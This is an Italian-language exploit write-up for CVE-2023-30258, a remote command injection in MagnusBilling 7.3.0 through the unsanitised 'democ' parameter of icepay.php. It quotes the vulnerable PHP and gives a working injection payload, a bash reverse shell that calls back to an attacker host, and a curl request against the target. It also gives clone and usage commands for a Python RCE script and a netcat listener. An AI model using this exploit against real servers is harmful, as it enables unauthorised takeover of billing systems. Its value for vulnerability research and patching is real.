
Exploit per CVE-2023-30258: esecuzione remota di codice in MagnusBilling 7.3.0 tramite il parametro 'democ' non sanificato in icepay.php, che consente l'iniezione di comandi e una reverse shell.
C'è una vulnerabilità di esecuzione remota di codice in magnus billing 7.3.0, nel parametro "democ" della risorsa "icepay.php", dove è possibile uscire dalla query ed eseguire il comando desiderato.
if (isset($_GET['democ'])) {
if (strlen($_GET['democ']) > 5) {
exec("touch " . $_GET['democ'] . '.txt');
} else {
exec("rm -rf *.txt");
}
}
Il parametro "democ" viene passato a exec() per creare un nuovo file, ma come si può vedere non c'è alcuna sanitizzazione delle stringhe, e l'attaccante può facilmente eludere il comando touch ed eseguire un comando o addirittura ottenere una reverse shell. Per bypassare l'estensione .txt, possiamo semplicemente aggiungere un altro ";" alla fine della stringa. Il payload finale sarebbe simile a questo:
testfile;<command>;testfile
e questo è come apparirebbe quando passato alla funzione exec():
exec('touch testfile;<command>;testfile.txt');
es. reverse shell:
exec('touch testfile; bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1";testfile.txt')
potremmo usare curl per ottenere una reverse shell, es.
curl -X GET http://127.0.0.1:8080/lib/icepay/icepay.php?democ=testfile;<urlencoded_payload>;testfile
oppure se preferisci, puoi usare lo script python da questo repository. Installazione:
git clone https://github.com/kayl22/magnus_billing_7.3.0_RCE_CVE-2023-30258 # get the repository
cd ./magnus_billing_7.3.0_RCE_CVE-2023-30258 # change directory
chmod +x ./magnusbilling_rce.py # add execution permissions to the python script
utilizzo:
./magnusbilling_rce.py -h # show help
./magnusbilling_rce.py -lh <attacker_ip> -lp <local_port> -u http://<ip/domain>:<port>/
e ultimo ma non meno importante, ricordati di avviare un listener con netcat:
nc -nlvvp <local_port>